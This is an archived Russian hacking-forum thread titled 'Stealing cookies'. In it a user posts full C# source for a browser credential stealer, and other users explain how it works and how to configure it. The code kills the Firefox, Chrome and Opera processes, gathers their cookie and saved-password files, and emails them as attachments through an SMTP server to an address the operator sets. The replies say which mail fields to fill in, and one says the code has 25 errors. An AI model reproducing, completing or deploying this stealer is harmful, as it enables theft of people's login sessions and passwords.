Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Воруем куки

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Компилируемые языки] >> Воруем куки
Имя
Сообщение << Старые топики   Новые топики >>
Воруем куки - 2012-02-03 19:59:27.886666   
SnapSh0t

Сообщений: 2
Оценки: 0
Присоединился: 2012-02-03 19:58:00.796666
Расскажите как работает эта программа….

quote:

using System;
using System.Collections.Generic;
using System.Text;
using System.Security.Principal;
using System.Web.Mail;
using System.Net.Sockets;
using System.Net;

namespace Crack_v2
{
class Data
{
public static readonly string MailAddressTo = "none"; //адрес на который осуществляется отправка
public static readonly string MailAddressFrom = "noen"; // адрес с которого осуществляется отправка
public static readonly string SMTPServer = "smtp.mail.ru"; // адрес SMTP сервера с которого будут уходить письма
public static readonly string UserName = "none"; // логин учётной записи с которой будут уходить письма
public static readonly string UserPassword = "none"; // пароль учётной записи с которой будут уходить письма

public static readonly string AdditionalInfo = "test";

public static readonly string fileName = @"\system.drv";

public static readonly string FireFox_Coockies = @"\Mozilla\Firefox\Profiles";
public static readonly string Chrome_Coockies = @"\Google\Chrome\User Data\Default\Cookies";
public static readonly string Opera_Coockies = @"\Opera\Opera\cookies4.dat";

public static readonly string Chrome_Pass = @"\Google\Chrome\User Data\Default\Web Data";
public static readonly string Opera_Pass = @"\Opera\Opera\wand.dat";
}

class Program
{
static void GetDisks(System.Collections.ArrayList DList)
{
string[] disks = System.IO.Directory.GetLogicalDrives();

foreach (string disk in disks)
{
System.IO.DriveInfo DiskProperty = new System.IO.DriveInfo(disk);
if (DiskProperty.DriveType.ToString() == "Fixed")
{
DList.Add(disk.ToString());
}
}
}
static void GetDirectiry(string dir, System.Collections.ArrayList DList)
{
string[] directory = System.IO.Directory.GetFileSystemEntries(dir);
foreach (string str in directory)
DList.Add(str);
}
static void GetFiles(string dir, System.Collections.ArrayList FilesList, string F)
{
System.Collections.ArrayList DirList = new System.Collections.ArrayList();
GetDirectiry(dir, DirList);
foreach (string path in DirList)
{
string[] files = System.IO.Directory.GetFiles(path, F);
foreach (string file in files)
{
FilesList.Add(file);
}
}
}
static string GetInfoUser(string sURL)
{
string INFO = "";
WebRequest wrGETURL;
wrGETURL = WebRequest.Create(sURL);
System.IO.Stream objStream;
objStream = wrGETURL.GetResponse().GetResponseStream();
System.IO.StreamReader objReader = new System.IO.StreamReader(objStream);
string sLine = "";
int i = 0;
while (sLine != null)
{
i++;
sLine = objReader.ReadLine();
if (sLine != null)
{
INFO += string.Format("{0}:{1}", i, sLine);
}
}
return INFO;
}
static void CreateFile()
{
string FileName = Data.fileName;
string Path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + FileName;
System.IO.File.Create(Path);
}
static void KillProcess(string ProcName)
{
try
{
System.Diagnostics.Process[] Proc;
Proc = System.Diagnostics.Process.GetProcessesByName(ProcName);
int i = 0;
while (i != Proc.Length)
{
Proc.Kill();
i++;
}
}
catch { }
}
static void _breack(System.Collections.ArrayList List)
{
List.Add("________________");
List.Add("");
}

static void Main(string[] args)
{
try
{

KillProcess("firefox");
KillProcess("chrome");
KillProcess("Opera");

System.Collections.ArrayList InfoList = new System.Collections.ArrayList();
System.Collections.ArrayList DisksList = new System.Collections.ArrayList();
System.Collections.ArrayList FilesList = new System.Collections.ArrayList();

string M = "";
int count = 1;

_breack(InfoList);

WindowsIdentity user = WindowsIdentity.GetCurrent();

string FireFox_Profile = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + Data.FireFox_Coockies;
string Chrome_Profile = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + Data.Chrome_Coockies;
string Opera_Profile = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + Data.Opera_Coockies;

GetDisks(DisksList);
GetFiles(FireFox_Profile, FilesList, "*.sqlite");
GetFiles(FireFox_Profile, FilesList, "*.txt");

InfoList.Add("Вложения содержат кукисы:");

MailMessage msg = new MailMessage();

int j = 1;
foreach (string FileName in FilesList)
{
if (System.IO.Path.GetFileName(FileName) == "cookies.sqlite")
{
MailAttachment AttachFireFoxData = new MailAttachment(FileName);
msg.Attachments.Add(AttachFireFoxData);
InfoList.Add(count.ToString() + "." + j.ToString() + ") Куки FireFox (" + System.IO.Path.GetFileName(FileName) + ")");
j++;
}
}

if (System.IO.File.Exists(Chrome_Profile))
{
try
{
MailAttachment AttachChromeData = new MailAttachment(Chrome_Profile);
msg.Attachments.Add(AttachChromeData);
count++;
InfoList.Add(count.ToString() + ") Куки Chrome (" + System.IO.Path.GetFileName(Chrome_Profile) + ")");
}
catch { }
}

if (System.IO.File.Exists(Opera_Profile))
{
MailAttachment AttachOperaData = new MailAttachment(Opera_Profile);
msg.Attachments.Add(AttachOperaData);
count++;
InfoList.Add(count.ToString() + ") Куки Opera (" + System.IO.Path.GetFileName(Opera_Profile) + ")");
}

_breack(InfoList);
count++;

InfoList.Add("Вложения содержат пароли:");
int p = 1;

foreach (string FileName in FilesList)
{
if (System.IO.Path.GetFileName(FileName) == "signons3.txt")
{
MailAttachment AttachFireFoxData = new MailAttachment(FileName);
msg.Attachments.Add(AttachFireFoxData);
InfoList.Add(count.ToString() + "." + p.ToString() + ") Пасы FireFox (" + System.IO.Path.GetFileName(FileName) + ")");
p++;
}
}

string Opera_Pass = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + Data.Opera_Pass;

if (System.IO.File.Exists(Opera_Pass))
{
MailAttachment AttachOperaData = new MailAttachment(Opera_Pass);
msg.Attachments.Add(AttachOperaData);
count++;
InfoList.Add(count.ToString() + ") Пасы Opera (" + System.IO.Path.GetFileName(Opera_Pass) + ")");
}

string Chrome_Pass = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + Data.Chrome_Pass;

if (System.IO.File.Exists(Chrome_Pass))
{
MailAttachment AttachOperaData = new MailAttachment(Chrome_Pass);
msg.Attachments.Add(AttachOperaData);
count++;
InfoList.Add(count.ToString() + ") Пасы Chrome (" + System.IO.Path.GetFileName(Chrome_Pass) + ")");
}

_breack(InfoList);

// – отправляем письмо –

string smtpServer = Data.SMTPServer;
string userName = Data.UserName;
string password = Data.UserPassword;

msg.Priority = System.Web.Mail.MailPriority.High;

msg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate", 1);
msg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendusername", userName);
msg.Fields.Add("http://schemas.microsoft.com/cdo/configuration/sendpassword", password);
msg.To = Data.MailAddressTo;
msg.From = Data.MailAddressFrom;
msg.Subject = user.Name.ToString() + " / " + Data.AdditionalInfo;

for (int i = 0; i &lt; InfoList.Count; i++)
{
M = M + Environment.NewLine + InfoList.ToString();
}

msg.Body = M;

SmtpMail.SmtpServer = smtpServer;

if (!System.IO.File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData).ToString() + Data.fileName))
{
SmtpMail.Send(msg);
CreateFile();
Console.Clear();
}
}
catch (Exception e)
{
Console.Write(e.Source + Environment.NewLine + e.Message + Environment.NewLine + e.Data);
Console.ReadLine();
}
}
}
}


И доделана ли эта программа?
Post #: 1
RE: Воруем куки - 2012-02-03 23:19:18.086666   
_SaZ_

Сообщений: 4329
Оценки: 398
Присоединился: 2008-01-30 02:18:05.553333
Скорее всего работает, скорее всего доделана. Какой вопрос, такой ответ ;)
Post #: 2
RE: Воруем куки - 2012-02-04 05:59:52.066666   
Barkass$

Сообщений: 1854
Оценки: 40
Присоединился: 2008-11-11 12:19:45.216666
Ну там же все и так понятно расписанно)
Убиваются процессы браузеров, беруться их куки, заносятся в листинг, прикрепляются к атачу, отправляются в виде письма на мыло.
quote:

Скорее всего работает, скорее всего доделана. :)
Post #: 3
RE: Воруем куки - 2012-02-04 08:51:10.716666   
SnapSh0t

Сообщений: 2
Оценки: 0
Присоединился: 2012-02-03 19:58:00.796666
и что сюда писать?

public static readonly string MailAddressTo = "none"; //адрес на который осуществляется отправка
public static readonly string MailAddressFrom = "noen"; // адрес с которого осуществляется отправка
public static readonly string SMTPServer = "smtp.mail.ru"; // адрес SMTP сервера с которого будут уходить письма
public static readonly string UserName = "none"; // логин учётной записи с которой будут уходить письма
public static readonly string UserPassword = "none"; // пароль учётной записи с которой будут уходить письма

как она отправит то?

я запустил ее.. меня вконтакте ломанули =(
Post #: 4
RE: Воруем куки - 2012-02-04 10:29:55.903333   
Barkass$

Сообщений: 1854
Оценки: 40
Присоединился: 2008-11-11 12:19:45.216666
Ну так скопипастить код любой горазд) Разберайся, там все предельно просто. Учи азы С)
Post #: 5
RE: Воруем куки - 2012-02-21 00:11:22.230000   
WM_reg

Сообщений: 42
Оценки: 0
Присоединился: 2012-02-10 22:18:15.166666
Первое куда письмо придет.
Второе откуда она его отправит.
Третие 'smtp.' + домен почты.
Ну 4 и 5 это логин и праоль откуда будет письмо высылаться. Короче 2 почты нужно + смотри по коду не будет ли еще другой отправки по почте или на гейт)
А вообще в кратце программа просто отправляет тебе файлы паролей а не куки как я понял. Расшифровывать файлы сам будешь. Ничего сложного даже с моими знаниями делфи понятно)
Post #: 6
RE: Воруем куки - 2012-03-09 15:56:01.323333   
Konkustador

Сообщений: 10
Оценки: 0
Присоединился: 2010-09-07 17:00:11.700000
Код не доработан 25 ошибок
Post #: 7
Страниц:  [1]
Все форумы >> [Компилируемые языки] >> Воруем куки







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.